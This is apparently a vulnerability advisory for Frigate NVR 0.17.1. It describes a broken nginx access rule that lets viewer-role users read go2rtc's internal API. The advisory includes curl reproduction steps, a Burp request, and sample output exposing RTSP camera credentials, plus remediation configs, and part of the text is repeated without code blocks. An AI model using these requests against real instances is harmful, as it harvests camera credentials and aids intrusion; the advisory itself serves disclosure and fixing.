Vulnerability Information
- Product: Frigate NVR
- Version: 0.17.1 (latest release)
- Vendor: blakeblackshear (https://github.com/blakeblackshear/frigate)
- Vulnerability Type: Broken Access Control / Information Disclosure
- CWE: CWE-863 (Incorrect Authorization) / CWE-522 (Insufficiently Protected Credentials)
- CVSS v3.1 Score: 7.7 (High)
- CVSS v3.1 Vector: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
- Attack Vector: Network
- Authentication Required: Low (viewer role)
Summary
Frigate NVR version 0.17.1 proxies the go2rtc internal REST API via nginx at /api/go2rtc/api. The nginx location block uses prefix matching and limit_except GET to restrict HTTP methods, but allows any authenticated user (including the lowest-privilege viewer role) to issue GET requests to the full go2rtc API. This exposes the go2rtc internal state including version information, configuration file paths, internal IP addresses, RTSP listener addresses, and complete application logs. When cameras are configured, the go2rtc logs and streams API expose RTSP stream URLs containing plaintext credentials (e.g., rtsp://admin:password@camera_ip/stream). Additionally, the go2rtc debug stack endpoint is accessible, leaking Go goroutine stack traces with internal memory addresses and library versions.
Affected Component
- File:
docker/main/rootfs/usr/local/nginx/conf/nginx.conf (lines 228-235)
Root Cause
# nginx.conf, lines 228-235
location /api/go2rtc/api {
include auth_request.conf; # Requires auth, but any role passes
limit_except GET {
deny all; # Only allows GET
}
proxy_pass http://go2rtc/api; # Proxies to full go2rtc API
include proxy.conf;
}
The nginx location /api/go2rtc/api uses prefix matching, meaning any path starting with /api/go2rtc/api is matched. This proxies the request to http://go2rtc/api, effectively exposing all go2rtc sub-endpoints:
/api/go2rtc/api → http://go2rtc/api (version info)
/api/go2rtc/api/streams → http://go2rtc/api/streams (stream URLs with credentials)
/api/go2rtc/api/config → http://go2rtc/api/config (configuration)
/api/go2rtc/api/log → http://go2rtc/api/log (complete logs)
/api/go2rtc/api/stack → http://go2rtc/api/stack (goroutine stack trace)
The auth_request.conf only verifies the user is authenticated, not that they have admin role. The limit_except GET blocks POST/PUT/DELETE methods, preventing destructive operations like /api/exit and /api/restart, but all read operations are exposed.
Prerequisites
- A running Frigate NVR instance (version 0.17.1) with authentication enabled.
- Valid credentials for any user account, including the lowest-privilege
viewer role.
Reproduction Steps
Step 1: Login as Viewer
VIEWER_RESP=$(curl -sk -D- -X POST https://<TARGET_IP>:8971/api/login \
-H "Content-Type: application/json" \
-d '{"user":"<viewer_username>","password":"<viewer_password>"}')
VIEWER_TOKEN=$(echo "$VIEWER_RESP" | grep "set-cookie" | grep -o 'frigate_token=[^;]*')
Step 2: Access go2rtc Internal API
# 1. Version, host IP, RTSP config
curl -sk -b "$VIEWER_TOKEN" https://<TARGET_IP>:8971/api/go2rtc/api
Expected Output:
{
"config_path": "/config/go2rtc_homekit.yml",
"host": "192.168.1.32",
"revision": "df95ce3",
"rtsp": {
"listen": ":8554",
"default_query": "video&audio"
},
"version": "1.9.10"
}
# 2. Stream URLs (contains RTSP credentials when cameras are configured)
curl -sk -b "$VIEWER_TOKEN" https://<TARGET_IP>:8971/api/go2rtc/api/streams
Actual Output (confirmed on 192.168.1.32:8971 with viewer-role user poc_viewer):
{
"front_door": {
"producers": [
{"url": "rtsp://admin:SuperSecret123@192.168.1.100:554/stream1"}
],
"consumers": null
},
"bedroom": {
"producers": [
{"url": "rtsp://admin:BedroomPass456@192.168.1.101:554/stream1"}
],
"consumers": null
}
}
# 3. Internal application log
curl -sk -b "$VIEWER_TOKEN" https://<TARGET_IP>:8971/api/go2rtc/api/log
# 4. Go goroutine stack trace (internal debug info)
curl -sk -b "$VIEWER_TOKEN" https://<TARGET_IP>:8971/api/go2rtc/api/stack
Expected Output (truncated):
goroutine 9 [IO wait]:
internal/poll.runtime_pollWait(0x7f3f01743c00, 0x72)
runtime/netpoll.go:351 +0x85
...
Step 3: Confirm Admin API Endpoints are Blocked
# POST operations are blocked by limit_except GET
curl -sk -b "$VIEWER_TOKEN" -X POST -o /dev/null -w "HTTP %{http_code}" \
https://<TARGET_IP>:8971/api/go2rtc/api/exit
# Expected: HTTP 403
Burp Suite POC
GET /api/go2rtc/api/streams HTTP/1.1
Host: <TARGET_IP>:8971
Cookie: frigate_token=<viewer_jwt_token>
Connection: close
Impact
- Credential Disclosure: When cameras are configured with RTSP URLs containing credentials (e.g.,
rtsp://admin:password@camera_ip/stream), a viewer-role user can read these credentials via /api/go2rtc/api/streams. This enables:
- Direct access to camera administration interfaces
- Recording manipulation outside of Frigate
- Lateral movement to other network devices using reused credentials
- Internal Network Reconnaissance: The response includes internal IP addresses, port configurations, and service versions (go2rtc, RTSP listener, WebRTC listener).
- Debug Information Leak: The goroutine stack trace reveals internal library versions, memory layouts, and execution paths, aiding targeted exploitation.
Remediation
Restrict the go2rtc API proxy to admin-only access, or filter to only the specific sub-endpoints that non-admin users need:
# Option 1: Restrict entire go2rtc API to admin
location /api/go2rtc/api {
include auth_request.conf;
# Add admin role check via auth subrequest
limit_except GET { deny all; }
proxy_pass http://go2rtc/api;
include proxy.conf;
}
# Option 2: Only expose safe sub-endpoints
location = /api/go2rtc/api { # Exact match for version only
include auth_request.conf;
limit_except GET { deny all; }
proxy_pass http://go2rtc/api;
include proxy.conf;
}
# Block /api/go2rtc/api/streams, /api/go2rtc/api/log, /api/go2rtc/api/stack, etc.
Timeline
- 2026-03-31: Vulnerability discovered and confirmed on Frigate NVR 0.17.1 (latest release).
References
Vulnerability Information
Summary
Frigate NVR version 0.17.1 proxies the go2rtc internal REST API via nginx at
/api/go2rtc/api. The nginxlocationblock uses prefix matching andlimit_except GETto restrict HTTP methods, but allows any authenticated user (including the lowest-privilegeviewerrole) to issue GET requests to the full go2rtc API. This exposes the go2rtc internal state including version information, configuration file paths, internal IP addresses, RTSP listener addresses, and complete application logs. When cameras are configured, the go2rtc logs and streams API expose RTSP stream URLs containing plaintext credentials (e.g.,rtsp://admin:password@camera_ip/stream). Additionally, the go2rtc debug stack endpoint is accessible, leaking Go goroutine stack traces with internal memory addresses and library versions.Affected Component
docker/main/rootfs/usr/local/nginx/conf/nginx.conf(lines 228-235)Root Cause
The nginx
location /api/go2rtc/apiuses prefix matching, meaning any path starting with/api/go2rtc/apiis matched. This proxies the request tohttp://go2rtc/api, effectively exposing all go2rtc sub-endpoints:/api/go2rtc/api→http://go2rtc/api(version info)/api/go2rtc/api/streams→http://go2rtc/api/streams(stream URLs with credentials)/api/go2rtc/api/config→http://go2rtc/api/config(configuration)/api/go2rtc/api/log→http://go2rtc/api/log(complete logs)/api/go2rtc/api/stack→http://go2rtc/api/stack(goroutine stack trace)The
auth_request.confonly verifies the user is authenticated, not that they have admin role. Thelimit_except GETblocks POST/PUT/DELETE methods, preventing destructive operations like/api/exitand/api/restart, but all read operations are exposed.Prerequisites
viewerrole.Reproduction Steps
Step 1: Login as Viewer
Step 2: Access go2rtc Internal API
Expected Output:
{ "config_path": "/config/go2rtc_homekit.yml", "host": "192.168.1.32", "revision": "df95ce3", "rtsp": { "listen": ":8554", "default_query": "video&audio" }, "version": "1.9.10" }Actual Output (confirmed on 192.168.1.32:8971 with viewer-role user
poc_viewer):{ "front_door": { "producers": [ {"url": "rtsp://admin:SuperSecret123@192.168.1.100:554/stream1"} ], "consumers": null }, "bedroom": { "producers": [ {"url": "rtsp://admin:BedroomPass456@192.168.1.101:554/stream1"} ], "consumers": null } }Expected Output (truncated):
Step 3: Confirm Admin API Endpoints are Blocked
Burp Suite POC
Impact
rtsp://admin:password@camera_ip/stream), a viewer-role user can read these credentials via/api/go2rtc/api/streams. This enables:Remediation
Restrict the go2rtc API proxy to admin-only access, or filter to only the specific sub-endpoints that non-admin users need:
Timeline
References